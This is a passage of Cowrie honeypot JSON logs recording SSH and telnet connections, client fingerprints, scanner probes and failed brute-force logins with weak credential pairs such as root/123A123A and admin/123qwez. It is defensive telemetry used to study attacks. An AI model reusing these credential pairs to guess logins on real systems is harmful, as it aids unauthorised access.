","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:20.781644Z","src_ip":"91.92.40.4","session":"537ae103be24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"q1w2e3","message":"login attempt [hadoop/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:21.036252Z","src_ip":"91.92.40.4","session":"537ae103be24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:22.121419Z","src_ip":"91.92.40.4","session":"537ae103be24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":38118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b3ab3181947","protocol":"ssh","message":"New connection: 165.227.170.113:38118 (10.17.0.5:22) [session: 3b3ab3181947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:33.789103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:33.792942Z","src_ip":"165.227.170.113","session":"3b3ab3181947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:33.876971Z","src_ip":"165.227.170.113","session":"3b3ab3181947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server2026","message":"login attempt [server/server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:34.247819Z","src_ip":"165.227.170.113","session":"3b3ab3181947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:34.925723Z","src_ip":"8.210.75.243","session":"f91d66ea47b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:35.334648Z","src_ip":"165.227.170.113","session":"3b3ab3181947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52830,"dst_ip":"159.203.135.109","dst_port":23,"session":"2102445c8f08","protocol":"telnet","message":"New connection: 107.6.151.170:52830 (159.203.135.109:23) [session: 2102445c8f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:37.695594Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:48.306461Z","src_ip":"8.210.75.243","session":"5d1789cca812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51270,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66e4e3a5cd5","protocol":"ssh","message":"New connection: 159.65.58.200:51270 (159.203.135.109:22) [session: a66e4e3a5cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:54.994306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:55.132752Z","src_ip":"159.65.58.200","session":"a66e4e3a5cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:55.135463Z","src_ip":"159.65.58.200","session":"a66e4e3a5cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shubi","password":"123456","message":"login attempt [shubi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:56.230952Z","src_ip":"159.65.58.200","session":"a66e4e3a5cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:57.531720Z","src_ip":"159.65.58.200","session":"a66e4e3a5cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:58.017399Z","src_ip":"8.210.75.243","session":"c496fa05cf06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":55758,"dst_ip":"10.17.0.5","dst_port":22,"session":"737bd59f8a7f","protocol":"ssh","message":"New connection: 201.222.20.20:55758 (10.17.0.5:22) [session: 737bd59f8a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:59.965259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:59.968663Z","src_ip":"201.222.20.20","session":"737bd59f8a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:00.086360Z","src_ip":"201.222.20.20","session":"737bd59f8a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:00.595461Z","src_ip":"201.222.20.20","session":"737bd59f8a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:01.717789Z","src_ip":"201.222.20.20","session":"737bd59f8a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f87a7fc1c77","protocol":"telnet","message":"New connection: 170.64.224.25:52934 (159.203.135.109:23) [session: 2f87a7fc1c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:07.249781Z"}
{"eventid":"cowrie.session.closed","duration":32.22580862045288,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:09.921296Z","src_ip":"107.6.151.170","session":"2102445c8f08","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:10.273874Z","src_ip":"8.210.75.243","session":"c95e9e904c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":14184,"dst_ip":"10.17.0.5","dst_port":22,"session":"70152ca30f1f","protocol":"ssh","message":"New connection: 172.232.170.154:14184 (10.17.0.5:22) [session: 70152ca30f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:15.828744Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:15.902893Z","src_ip":"172.232.170.154","session":"70152ca30f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:21.941413Z","src_ip":"8.210.75.243","session":"250a4aeddddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.089319705963135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:38.338967Z","src_ip":"170.64.224.25","session":"2f87a7fc1c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":35796,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8472021da5b","protocol":"ssh","message":"New connection: 119.203.251.187:35796 (10.17.0.5:22) [session: d8472021da5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:41.799523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:41.802816Z","src_ip":"119.203.251.187","session":"d8472021da5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:42.000846Z","src_ip":"119.203.251.187","session":"d8472021da5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123A123A","message":"login attempt [root/123A123A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:42.828428Z","src_ip":"119.203.251.187","session":"d8472021da5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:44.029057Z","src_ip":"119.203.251.187","session":"d8472021da5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":47858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f452ba4a68ae","protocol":"ssh","message":"New connection: 14.29.214.161:47858 (10.17.0.5:22) [session: f452ba4a68ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:45.435883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:45.439711Z","src_ip":"14.29.214.161","session":"f452ba4a68ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:45.674387Z","src_ip":"14.29.214.161","session":"f452ba4a68ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:46.997057Z","src_ip":"8.210.75.243","session":"c95e9e904c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234!","message":"login attempt [root/root1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:47.273319Z","src_ip":"14.29.214.161","session":"f452ba4a68ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:16:48.510610Z","src_ip":"14.29.214.161","session":"f452ba4a68ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":53042,"dst_ip":"10.17.0.5","dst_port":22,"session":"909811f71ddf","protocol":"ssh","message":"New connection: 165.227.170.113:53042 (10.17.0.5:22) [session: 909811f71ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:05.266327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:05.269949Z","src_ip":"165.227.170.113","session":"909811f71ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:05.351491Z","src_ip":"165.227.170.113","session":"909811f71ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":37678,"dst_ip":"159.203.135.109","dst_port":23,"session":"3527565d566d","protocol":"telnet","message":"New connection: 183.91.11.226:37678 (159.203.135.109:23) [session: 3527565d566d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:05.392775Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwez","message":"login attempt [admin/123qwez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:05.713451Z","src_ip":"165.227.170.113","session":"909811f71ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:06.797642Z","src_ip":"165.227.170.113","session":"909811f71ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":52304,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d896c90cc85","protocol":"telnet","message":"New connection: 137.184.5.188:52304 (159.203.135.109:23) [session: 7d896c90cc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:11.372473Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":44868,"dst_ip":"10.17.0.5","dst_port":22,"session":"484d9495a925","protocol":"ssh","message":"New connection: 172.232.170.154:44868 (10.17.0.5:22) [session: 484d9495a925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:14.384072Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-NmapNSE_1.0","message":"Remote SSH version: SSH-1.5-NmapNSE_1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:14.482036Z","src_ip":"172.232.170.154","session":"484d9495a925","protocol":"ssh"}
